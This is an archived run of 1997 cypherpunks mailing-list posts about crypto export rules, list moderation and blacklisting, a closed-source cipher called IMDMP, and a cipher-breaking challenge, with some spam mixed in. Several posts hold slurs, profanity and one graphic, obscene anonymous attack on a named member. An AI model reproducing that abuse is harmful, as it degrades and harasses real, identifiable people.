> enables cryptography. That is why Raph doesn't allow export of premail.
> 
> 

Lou Zirko                                (502)499-8729
Zystems                                  lzirko@c2.org
"We're all bozos on this bus" - Nick Danger, Third Eye

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1

iQEVAwUBMth/4MtPRTNbb5z9AQF62wf/anuZ3p8CHhnYGQhVkQXyT4zUppF2gc5H
PyJJcXp1C2wMyw2INKBEHvjUGvtSkXXW2GOZaEgeUKR0rsmCSGqgtd9mrx0JZE/Y
ue3g8EtaqiezUNsTq7ElNK1v0AW3b6/eIWFvG55dzEP5l2yOCD0Um+wa09Xh6YMY
VsQJw32vnnxCroM/gPFqbtyhTw/F+oGOSCCxa8W8QGrtpWan3awMvavlhhSGrBDt
elMRH+L03PebhJxajnLSz9+A5x0W+3rTzW+G8KUGDBqG/7DEppw7eltBw6K55LxJ
IgTOi0kUbz9k9IsXG3HN9RPsJTGII4/UlrXJv05tpO1Qsihu0cln8Q==
=j5i+
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 11 Jan 1997 19:18:48 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <R8VD1D66w165w@bwalk.dm.com>
Message-ID: <32D8729B.E75@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


> ichudov@algebra.com (Igor Chudov @ home) writes:
> 
> > Note that another important feature of STUMP that we seem to overlook was
> > designed specifically to address the problems of preapproved lists. This
> > feature is the presence of "bad words list".

  As a person with Tourette Syndrome, I find this to be discriminatory
against me.
  As a hockey player, I find it double-discriminatory.
  As a dirty-mouthed scumbag, I find it triple-discriminatory.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 11 Jan 1997 19:47:56 -0800 (PST)
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: IMDMP 8192 PKCS and IMDMP Summary
In-Reply-To: <Pine.SUN.3.94.970111161943.5104E-100000@polaris>
Message-ID: <32D878F5.2B22@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


> On Sat, 11 Jan 1997 DataETRsch@aol.com wrote:
> 
> > Questions, queries, or comments ("gulp")? E-Mail: DataETRsch@aol.com,
> > JKYuRamos@aol.com, or DataETResearch@geocities.com. Note: From now on, any
> > messages to DataET Research that do not contain the text "NO FLAME" somewhere
> > in the subject heading will be ignored completely. If a message is a indeed
> > flame, the associated server's administrator will be contacted, and a
> > complaint will be filed accordingly.

  Have they hired Sandy to moderate 'their' incoming email, too?
  It seems like moderating CypherPunk responses is becoming a cottage
industry.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 11 Jan 1997 21:53:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private Idaho source code now available
Message-ID: <199701120553.VAA10283@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:35 PM 1/11/97 -0500, Anonymous wrote:
>Joel McNamara says:
>> Private Idaho 2.8b3, a bug fix version of the popular Windows freeware PGP
>> and remailer utility, is now available.  This will be my last official
>> release of PI for the foreseeable future.
>> 
>> Due to other projects and new directions, I haven't been able to spend as
>> much time as I'd like coding and supporting Private Idaho.  Instead of
>> seeing it die on the vine, I've decided to release the source code under
>> the GNU General Public License (export disclaimer - the sources do not
>> include, or have ever contained, cryptographic algorithms).
>
>	My understanding is that Private Idaho uses PGP internally
>and provides the same functionality as premail, with an 
>easier to use GUI.
>
>	Given that, it would still be export controlled, since it
>enables cryptography. That is why Raph doesn't allow export of premail.

The "enables cryptography" thing just doesn't cut it.  A computer "enables 
cryptography" to a person without a computer.  The MSDOS operating system 
"enables cryptography" to a person with a computer but without an OS.  A 
hard disk with a filesystem "enables cryptography" by providing an 
intermediate data storage location (and format) for encrypted and 
unencrypted data, as well as the encryption program.  Even a modem program 
or mail program "enables cryptography", or at least enables the transmission 
of encrypted data, etc.

Apparently, the phrase "enable cryptography" is either just about 
meaningless, or is so broad as to be not usable to determine which items are 
exportable and which aren't.  How about narrowing it down a bit?  


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Barry Shultz" <phoenix@enter.net>
Date: Sat, 11 Jan 1997 19:29:54 -0800 (PST)
To: bshultz@talon.net
Subject: apology
Message-ID: <199701120317.WAA17506@mail.enter.net>
MIME-Version: 1.0
Content-Type: text/plain


You have received a message from this mailbox in error. I am sorry 
for the error, you are NOT ON A MAILING LIST. The message you 
received was intended for a specific mailing list which you were not 
on. We all have to learn new software and mistakes sometimes are 
made. Again, we are sorry you were subjected to our learning curves.

Barry Shultz
 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 11 Jan 1997 21:02:32 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <32D8729B.E75@sk.sympatico.ca>
Message-ID: <199701120517.XAA00330@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> > ichudov@algebra.com (Igor Chudov @ home) writes:
> > > Note that another important feature of STUMP that we seem to overlook was
> > > designed specifically to address the problems of preapproved lists. This
> > > feature is the presence of "bad words list".

>   As a person with Tourette Syndrome, I find this to be discriminatory
>   against me.

    Then go baassholeck and edit your posts before you sendcuntthem. 

>   As a hockey player, I find it double-discriminatory.

    That is a personal problem. You should talk to a professional about that.

>   As a dirty-mouthed scumbag, I find it triple-discriminatory.

    If you _can't_ say it without using words on the dirty list, then you 
probably use velco straps on your shoes because the laces confuse you when you
start to tie them... 

     





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Sat, 11 Jan 1997 20:35:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private Idaho source code now available
In-Reply-To: <3.0.32.19970110072140.00d1320c@mail.eskimo.com>
Message-ID: <199701120435.XAA00110@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Joel McNamara says:
> Private Idaho 2.8b3, a bug fix version of the popular Windows freeware PGP
> and remailer utility, is now available.  This will be my last official
> release of PI for the foreseeable future.
> 
> Due to other projects and new directions, I haven't been able to spend as
> much time as I'd like coding and supporting Private Idaho.  Instead of
> seeing it die on the vine, I've decided to release the source code under
> the GNU General Public License (export disclaimer - the sources do not
> include, or have ever contained, cryptographic algorithms).

	My understanding is that Private Idaho uses PGP internally
and provides the same functionality as premail, with an 
easier to use GUI.

	Given that, it would still be export controlled, since it
enables cryptography. That is why Raph doesn't allow export of premail.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Sat, 11 Jan 1997 22:55:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] Secure envelopes
Message-ID: <199701120655.XAA02840@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May's mother attempted to pro-choice 
the unwanted little bastard by fishing with 
a coat hanger in her giant cunt, but failed 
miserably to pull the rabbit and succeeded 
only in scraping out the contents of little 
Timmy's fetal cranium (not much to begin 
with).

      o       o
    /<         >\ Timmy May
    \\\_______///
    //         \\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Sat, 11 Jan 1997 22:10:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Free money, 3
Message-ID: <199701120610.BAA10132@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN ECASH PAYMENT-----

oLmQgwAC4qGgiqCukIFPkIECkIFkkIEEkIEDkYQy1+vekIQy6mDekIFPkoFAlJQm
dEokCPg7uvJMompvAri+vpF4nJSUR7WtWI4njBqr6/SIKt8Iobe9NIuQgRCSjUZy
ZWUgbW9uZXksIDOSgJSAkIECkYQAAAAAkIEAoaC4oKuQggHmk+AZIwHHsiV1TG0e
yn0aHAbTeF/TxQAHuLZyNn7zSh3uZm0YgaT+kvdjOnO00JLEn+oKi68yV9OHXMaX
94222wz5IBoPMw7VVjjEs/+7UqiZ0zFGIct+Re1WnUZ5+Rfs6CyT4JblVMjyluvE
NMBaCC0xCGEyU0VLbMpJNnWI+R0YBnUKQgPaH+VEbw/6Jv56j03e19ugNxLTe0kR
JqoNuLyvbKMM4LHD5T+At869pIu5qPdzpy6cVh5GWTokjZUoMB+POJCBQKGgq5CC
AeWT4CzHnlnGaaZZ6hvrvz+ZcI9YT8PJ3DwM1b/NVFVXBZsDEn9Qb9w6IAx7qEAS
54o7emcFd5vxztrpA8PJRmWJpaLo3MyvGNghRmpXiUOZpoqAGswEAwY1Avy3e8m5
ReOUuZPgUKkIAJ+VRHLw8Y5bT4ELxSCzgGFt5wpam+rGJlJcgLsU9QBzjXOp6ZnU
Wy1RA9sEKSLlHeJjHTMS2CUkUF9YRzZIM08JrxAkUd4eyFMKnWWSQIlNfpDKSU3A
qj5gMYZ8kIEgoaCrkIIB4pPgIJfhD9Hr5aR4C9ihf8TT2Ce3VVejdwSXgWGDKJeH
iMHj5j03bFnT6oIyGY89qyugSHjGcNteg2tQLH2sQ/DV91vEaxvscvjPtbqK4GtW
t1Spgav3bE+qiXq68xpl3ashk+BSfWdSzmALzawq4TM0srsXDyIpAKT3zE+Kmmd0
yjnAZzmhVqSbK61Fqob/7LYcOlyJ860Si0OEXMoMnPXE0pCCwSizfiBjxIo/3KnY
bEBppvdsLU89zTM7ccZ0wW8RHgCQgQShoaG=
-----END ECASH PAYMENT-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 11 Jan 1997 23:36:03 -0800 (PST)
To: oksas@asimov.montclair.edu (Nurdane Oksas)
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.SOL.3.93.970111193411.17742A-100000@pegasus.montclair.edu>
Message-ID: <199701120729.BAA03801@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Nurdane Oksas wrote:
> 
> On Sat, 11 Jan 1997, Igor Chudov @ home wrote:
> > Dr.Dimitri Vulis KOTM wrote:
> > > 
> > > Jew-hating paranoid liar Rich Graves <rcgraves@disposable.com> writes:
> > > >
> > > > I would not favor a moderation policy that gave carte blanche to "good guys"
> > > > to talk about whatever they wanted ("libertarian bullshit" in Chudov's
> > > > delicate phrasing), but required posts by "bad guys" like Dale (and in certai
> > > > threads, me -- you never know) to be "about crypto." That's a hypocritical
> > > > double standard.
> > > 
> > > Here's another typical post from Igor's soc.culture.russian.moderated (NOT).
> > > 
> > > Igor Chudov, a moderator of s.c.r.m, calls M. Kagalenko "envious eunich", but
> > > Kagalenko has been banned from posting to s.c.r.m because he objected to its
> > > creation (i.e. he's on the "blacklist" and his submissions are auto-rejected).
> > 
> > but none of the posts in question had ever been posted to scrm.
> 
> 	You know well that Kagalenko is most rejected in scrm,
> 	Poor guy ...not one post, how can that be..?

How can that be? A good question. It can be because Misha submits
dozens of articles containing autogenerated garbage. He does it because
he does not like our newsgroup. We moderators have no other choice
but to reject these autogenerated articles because our charter prohibits
us from approving them.

To protect moderators from mailbombing our charter tells us to put
such mailbombers into our blacklist, which I do.

Once a month I remove Misha from our blacklist, and let him know that
he indeed had been removed. That usually results in another flood of
bogus submissions.

Apparently Misha likes it this way, and it probably lets him feel more
important than he really is. Well, if that is so, I have no problem with
that.

Check out http://www.algebra.com/~ichudov/usenet/scrm/archive/maillist.html

Otherwise, if Misha decides that he wants to post anything of substance, 
a single request from him to remove him from our blacklist would suffice.
I do not need to keep him blacklisted as long as he does not mailbomb us.

But I will not bow to him.

That's the sad story.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 12 Jan 1997 00:30:28 -0800 (PST)
To: Three Blind Mice <3bmice@nym.alias.net>
Subject: Re: IMDMP 8192 PKCS and IMDMP Summary
In-Reply-To: <19970112023038.6362.qmail@anon.lcs.mit.edu>
Message-ID: <32D8B7F4.4E20@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Three Blind Mice wrote:
> 
> On Sat, 11 Jan 1997 DataETRsch@aol.com wrote:

> > the UDCM V2.0 software package / archive. UDCM V2.0 was modified to restrict
> > keys to 50 bits so as to comply with the latest ITAR details. The extensively
> 
> The amazing shrinking key... pretty soon we'll have 1 bit keys, and
> they'll have to be registered with this company for ITAR compliance. ;)

  Hey! Have you been hacking into my system?
  That's proprietary information, pal. I have copyrighted the 1 bit key
and will sue if you try to muscle in on my action here.
  I just hope that I can get my company off the ground. I'm a little 
short of funds since DataETRetch fired me as their PR Manager.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Three Blind Mice <3bmice@nym.alias.net>
Date: Sat, 11 Jan 1997 18:31:17 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Re: IMDMP 8192 PKCS and IMDMP Summary
Message-ID: <19970112023038.6362.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 11 Jan 1997 DataETRsch@aol.com wrote:

> include a public key cryptosystem. However, on March 1st, 1997, new versions
> of UDCM and IMDMP will be released that do support the public key
> cryptosystem method. The future versions will also support multi-party key

Oh, so you're just going to fix up your program a little bit, and
immediately your private key system will turn into a public key system?
Are you sure you read A.C. and didn't just look at the pictures?

> algorithms, as well as 1024 (8192 bit) keys. Note that the current version of
> IMDMP only allows 256 byte (1024) bit keys. The current shareware version and

I'm beginning to see this <insert long acronym here> as being a
variation on XOR.

> the UDCM V2.0 software package / archive. UDCM V2.0 was modified to restrict
> keys to 50 bits so as to comply with the latest ITAR details. The extensively

The amazing shrinking key... pretty soon we'll have 1 bit keys, and
they'll have to be registered with this company for ITAR compliance. ;)

> methods are not too comparable to PKCS methods. What I was referring to when
> I said IMDMP is more advanced than RSA, etc. is the actual encryption
> procedure itself, not the way keys are secured. Again, irrashional claims

Says who?  You?  Hahahahahaha.

> were not intended at all. The amount of analytical research invested in IMDMP
> was thought to be sufficient.

So a cryptosystem that's been in existence for an entire eleven days (you
said it was created January 1, 1997) has had "sufficient" "analytical 
research invested"?  My, you ARE clueless.

> AND-ing algorithm without trying it first. I find it extremely hard to
> believe that the celebrated creator(s) of Blowfish, IDEA, etc. had to go
> through all of this ritualistic screening complexity too. (Please do correct
> me if I am wrong.)

You're right, they didn't.  It's because they published code first and
then asked for review.  They didn't try to make a profit on an operating
system-specific piece of pre-compiled code before explaining the system
and giving full details.

> (For the record: DataET Research's promotional agent has been fired.)

Then why are you still posting?

> UDCMV20.ZIP is currently unavailable on the web site as the software is
> undergoing additional security modifications.

You mean you're changing XOR to AND?

> structuring. Sub-algorithms of IMDMP are basically additional applications of
> one or more of the aforesaid techniques.

SUB encrypt1 'Super secret encryption routine

SHARED text_to_encrypt$

text_to_encrypt$ = "[SECRET]" + text_to_encrypt$ + "[SECRET]"

END SUB

(Will you sue me for copyright infringement now?  I bet it looks identical
to your code -- and in the same language, too.)


--3bmice





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bill.collector@wisenet.com
Date: Sun, 12 Jan 1997 07:48:48 -0800 (PST)
Subject: Hi
Message-ID: <199701121550.HAA26576@web12.ntx.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Murple <btherl@ikkles.cs.mu.oz.au>
Date: Sat, 11 Jan 1997 15:18:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: What!
Message-ID: <199701112219.JAA07178@ikkles.cs.mu.oz.au>
MIME-Version: 1.0
Content-Type: text/plain


> Excuse me?
> 
> What is faulty about IMDMP?
> 
> - Jeremy
> 

The only people who can answer that question are you and the good people at
DataET Research, the reason being that you are the only people who know what
IMDMP is.

A more appropriate question would be 'What is faulty about UDCM?'  The problem
is that to us, UDCM is like a 'black box' - we put data in, and data comes out,
but we have no understanding of what goes on to produce the data which comes
out.  IMDMP could well be more secure than all the cryptographic algorithms in
use today, but it could just as easily have huge security holes which we may
never know about, or at least not until it is too late.

The difference between this and public algorithms such as IDEA, is that we can
obtain source code, descriptions, comments, and often detailed analyses of
these algorithms, and we can decide for ourselves whether we want to entrust
our privacy to them.  With UDCM, and hence IMDMP, this is simply not possible,
and this is where I believe you have gone wrong.

Brian Herlihy




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 12 Jan 1997 07:30:23 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: A vote of no confidence for Sandfart
In-Reply-To: <199701120729.BAA03801@manifold.algebra.com>
Message-ID: <4qaF1D74w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Nurdane Oksas wrote:
> > 	You know well that Kagalenko is most rejected in scrm,
> > 	Poor guy ...not one post, how can that be..?
>
> How can that be? A good question. It can be because Misha submits
> dozens of articles containing autogenerated garbage. He does it because

How do you know his submissions are "autogenerated" and not typed in by hand?

> he does not like our newsgroup. We moderators have no other choice
> but to reject these autogenerated articles because our charter prohibits
> us from approving them.

But the charter does not stop the moderators from calling K. "eunich",
just like the proposed "cypher punk" moderation won't stop Timmy May
from calling Dave Hayes "colored" or me "crazy Russian" or Plucky Green
from calling me and aga "vermin".

Please define "autogenerated" and "garbage". What definition does your
charter use to prohibit you from approving them? Why did you approve
Misha's submissions for a while after s.c.r.m was created? Has your
charter been since amended?

I too submitted a few articles to s.c.r.m as a test. The first one was
rejected (anonymously, by the way) with a statement indicating that I'm
not welcome to post anything in s.c.r.m regardless of content. The
others just vanished in a black hole - they didn't show up in the feed,
and I got no rejection notices. It looks like I've been blacklisted too.

That's why the lovebirds Gilmore and Sandfart want to moderate this list.

Again, this reminds me how around Xmastime there was a mail loop involving
the "cypher punks" mailing list and the site "uhf.wirenet.net", which
kept recycling old posts and resubmitting them to the list. In particular,
several of my articles appeared multiple times. Unfortunately, mail loops
happen. One of my mailing lists has been up since '89 and had probably
3 or 4 mail loops - caused by software glitches, not anyone sabotage.

Ray Arachelian officially accused me of having caused the mail loop and
posted instructions for complaining to my upstream site (not that PSI
gives a fuck) - both to the (currently unmoderated) "cypher punks"
list and Ray's "filtered" version.  I replied and refuted Ray's lies.

My refutation never made it to Ray's filtered list - only to this
(still unmoderated) list. Now Gilmore and Sandfart want to take away
their victims' ability to refute their libels (at least partially) by
moderating this list as well and blacklisting their victims.

No wonder Ray Arachelian's accusations have never been retracted by
him or Gilmore, and no explanation of the ufh.wirenet.net mail loop
other than "the Vulis did it" has been offered; no wonder we now see
traffic from root@ufh.wirenet.net calling for moderation and blacklisting.

> To protect moderators from mailbombing our charter tells us to put
> such mailbombers into our blacklist, which I do.

Beautiful. I'm already on Timmy May's "don't hire" list. Who do you think
will be on Gilmore's and Sandfart's autorejection blacklist for "cypher
punks"? I suppose it'll include:
                aga
                Attila T. Hun
                Dale Thorn
                Dave Hayes
                Dorothy Denning (just in case)
                Dr. Dimitri V. (myself)
                Fred Cohen
                George S.
                Ross Wright
                Steve Boursy
                Toto
Any others whose submissions will be automatically discarded by Gilmore?

ObCocksuckerMention: asshole censor John Gilmore is a stupid cocksucker.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TeamXcite@capella.net
Date: Sun, 12 Jan 1997 06:45:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: FOR YOUR INFO
Message-ID: <199701121450.JAA11006@capella.net>
MIME-Version: 1.0
Content-Type: text/plain


I_Love_SPAM,

Do you do any type of bulk or targeted e-mail?  

Or do you want too?

I've found a spot on the net that is bulk e-mail friendly
and very inexpensive. Point your browser to:

http://www.capella.net/?AAE8A

for complete details.

Jim @ TeamXcite

P.S.  If this message reached you in error, please let me know 
and I will pass it on to where I got it and get you removed.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 12 Jan 1997 08:20:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: John, Sandy & the Dr. DV K Conspiracy Theory
In-Reply-To: <R5wD1D68w165w@bwalk.dm.com>
Message-ID: <mJeF1D78w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


>  So, now, after taking a 'firm hand' in 'saving' the CypherPunks
> from the Evil Dr. Vulis, Big John finds himself being ridiculed
> and laughed at for his ineffective and ineffectual public beheading
> of the 'enemy of the people'.
>   Suddenly, however, out of the blue, comes the answer to his
> prayers--a 'bigger' threat. CypherPunks is deluded with a
> mountain of email from 10,000 Laker's fans named Bubba. A genuine
> 'outside' spam attack, pissing everyone off. Then, a rash of
> 'Make $$$Money$$$ Fast' probing actions from 'more' outsiders.

Soon after the Nazis formed the German government in 1933, a fire was set in
the Reichstag (parliament) building in Berlin. The Nazis accused Communists
of this senseless act, put some prominent Communists on trial, and used this
as a pretext to ban many non-Nazi political organizations. Has it ever been
conclusively proven that the Nazis themselves had set the fire in Reichstag?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Tobin Fricke" <tobin@edm.net>
Date: Sun, 12 Jan 1997 11:53:00 -0800 (PST)
To: <aaa-list@access.org.uk>
Subject: Menwith Hill / NSA
Message-ID: <199701121949.LAA00259@server.snni.com>
MIME-Version: 1.0
Content-Type: text/plain


At DefCon III, someone had a video on these ladies ("granny hackers" was
the comment from the audience) who explore[d] the Menwith Hill NSA base in
the UK.  The video was shown twice from what I remember, once in the main
speaker room and once in the video room.  If anyone knows anything about
this video then please email me [tobin@mail.edm.net], especially if you
know WHO had it, where I could get a copy, etc.  Also, I'd like to hear
about any other similar type things. (crypto, NSA, etc)

Thanks,
Light Ray




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 12 Jan 1997 10:20:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: decryption
In-Reply-To: <199701121133.NAA10607@liasec.sec.lia.net>
Message-ID: <32D93FD1.1064@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Pierre van Rooyen wrote:
> 
> Will you please try to decrypt the following, I want to make sure it is not
> decryptable.
> - The first paragraph decrypted reads:
> 
> There are plenty of programs you could buy such as
> Floodgate to pull your own addresses however, these
> programs (even when used properly) can take up to 6 months
> just to pull as many as 750,000 addresses!  And after
> THAT time has elapsed you're database will have plenty
> of addresses that are undeliverable.

  Now, the list is receiving encrypted CipherSpam.  I'm getting 
brainlock, here.
  Is this development:
  1. Good? (CypherPunks is forcing even Spammers to use crypto?)
  2. Bad? (Spammers think CypherPunks are so dumb they will 'work'
           for their spam?)
  3. Ambivalent? (It doesn't really matter, because my brain has
                  turned to spam?)

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Sun, 12 Jan 1997 09:56:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Free money, 3
Message-ID: <199701121756.JAA27640@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Dear Mr. Anonymous,

Thank you very much for the free money.  You are a gentleman and a
scholar.

Yours Truly,

The Shadow





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: PS <pstone@lightspeed.bc.ca>
Date: Sun, 12 Jan 1997 13:10:13 -0800 (PST)
To: pstone@lightspeed.bc.ca
Subject: Saw your post
Message-ID: <32D950B6.6DBE@lightspeed.bc.ca>
MIME-Version: 1.0
Content-Type: text/plain


Hi there!  I saw your post the other day and thought
you might be interested in a decent offer on
some excellent information.



Start an excellent home business today!!!

For a brochure that outlines
 
THE TEN BEST OPPORTUNITES IN BUSINESS TODAY
 
send me a self-addressed, stamped envelope.


Mail to  : 

M.K. Press 
1310 W.67th Ave.
Vancouver. B.C. Canada
V6P 2T4
Please write "Offer # 4322" by hand on the envelope to me.




Never want to hear from me again? Simple.
Hit reply, put <REMOVE> in the Subject field, 
and send it on back.. Thanks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Capital Computer Concepts <richgw@erols.com>
Date: Sun, 12 Jan 1997 10:33:42 -0800 (PST)
To: Home.Business.Seekers@mx03.erols.com
Subject: Try Before You Buy
Message-ID: <3.0.32.19970112130629.00736290@pop.erols.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,
	My name is Rich Williams, and I am the President of
Capital Computer Concepts. I would like to offer you a try before you buy
opportunity for our "Professional Home
Business" software. That's right, a free trial offer with no
risk to you. All I ask is that pay for the postage and handling
in the amount of $7.95 US for Domestic orders and $11.95 US for
International orders.
	Please understand that you will not get any of the 
hardcopy that goes with the program. But if you decide to 
buy the package, then I will send the paperwork after I
receive your payment. Also with your payment I will send you
a duplication license, which will allow you to make as many
copies of the software and the information in the software,
as you want.
	If you would like more information about the software,
e-mail my auto responder at: richgw@erols.com with the word
"Homework" in the subject line. You should receive the info package shortly
there after.
	Thank You, for requesting information about some of our
products.
			Sincerely, Richard G. Williams
					President,
				Capital Computer Concepts




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Sun, 12 Jan 1997 13:18:13 -0800 (PST)
To: Marjorie Wisby <wisby@ultra.net.au>
Subject: Re: The FAGGOT list
Message-ID: <199701122116.NAA16114@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


> I never thought the day would come when I would actually think that, however
> much I disagree with them, the pro-censorship people may have some small
> arguments on their side - but that was before I saw the sort of trash you
> continually spew.

Such trash should be an indicator to you of your -real- position on
censorship. 

It is said that a supporter is someone who will say anything. Perhaps
this is your position on free speech...a mere supporter? I invite your
response to this question.

> If you have something to say that is of interest, maybe you may gain some
> credibility. As it is, I won't be holding my breath, waiting for such a
> reversal of form.

The interest you seek is most probably only words of support for your 
position. Aiming at truth is always discouraged from those who do not
know how to seek it. 

If you truly had any real interest in the anti-censorship position,
you would watch your reactions to words which you yourself dislike,
and attempt to understand what it feels like to want words removed
from your reading selection by some other party. In this way, you
would understand the pro-censorship position and therefore be in
possession of enough real data to make a real decision as to which
side you are on, if any.

> Flames welcomed, from such fools as you obviously are. 

No flames from me are appropriate at this time...but...when *I* flame
you, you will know you have been flamed. I haven't bestowed that honor
upon anyone in years, so don't get your hopes up.

>  ~  Have you noticed that people who are most unwilling to accept         ~
>  ~  responsibility for their own actions, are the most keen to regulate   ~
>  ~  everyone else's?                                                      ~

Examples seem to abound on this from Dr. Vulis's selections from
cypherpunks that I have seen. Granted, this is his bias I am also
seeing...
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

Reporter (n.) - 1. A cat waiting at a mousehole.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Sun, 12 Jan 1997 13:25:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: At the risk of getting flamed :)
Message-ID: <199701122125.NAA16170@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Dr. Vulis writes:
> Cypherpunks have been forging Usenet posts from "freedom-knights@jetcafe.org"
> to alt.business.* et al, asking for business opps in e-mail. I'm thinking of
> forwarding the resulting spam on f-k back to cypherpunks. 

Two things about this, to BOTH lists.

As a Freedom Knight, it is my opinion that the appropriate
demonstration for Freedom Knights is to ignore this junk email.

This appears to be proceeding quite well, if a minor annoyance to some.

However, I cannot in good conscience personally accept a "J'accuse"
cypherpunks of forging Usenet posts to freedom knights. Since we have
no proof of this action, it is my opinion that we must adhere to
"innocent until proven guilty".

I would like everyone to understand that this accusation is not shared
(nor even considered until seeing the above quote) by myself, nor
should it be shared by anyone who is or who calls themself a "Freedom
Knight". 

Honor before blind support, Observation before belief, Truth before
justice. Those who understand these principles will not be harmed
by the net.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

	   What we see depends on mainly what we look for.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pierre van Rooyen <jvrooyen@liasec.sec.lia.net>
Date: Sun, 12 Jan 1997 03:28:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: decryption
Message-ID: <199701121133.NAA10607@liasec.sec.lia.net>
MIME-Version: 1.0
Content-Type: text/plain


Will you please try to decrypt the following, I want to make sure it is not
decryptable.

Tips:
- Only a..z and A..Z is changed
- numbers,commas,spaces,ect. is unaltered
- Hi cased letters stays hi as so with low cased letters
- Everything is exactly the same(word lengths,ect.) only the letters of the
text   changed. 
- I don't want to explain how the text is encrypted because I want to keep it
  secret but I promise you that even if the source code of the program that
  decrypt/encrypt this text is supplied, it won't help you much
- The first paragraph decrypted reads:

There are plenty of programs you could buy such as 
Floodgate to pull your own addresses however, these 
programs (even when used properly) can take up to 6 months
just to pull as many as 750,000 addresses!  And after 
THAT time has elapsed you're database will have plenty
of addresses that are undeliverable.  

BEGIN:
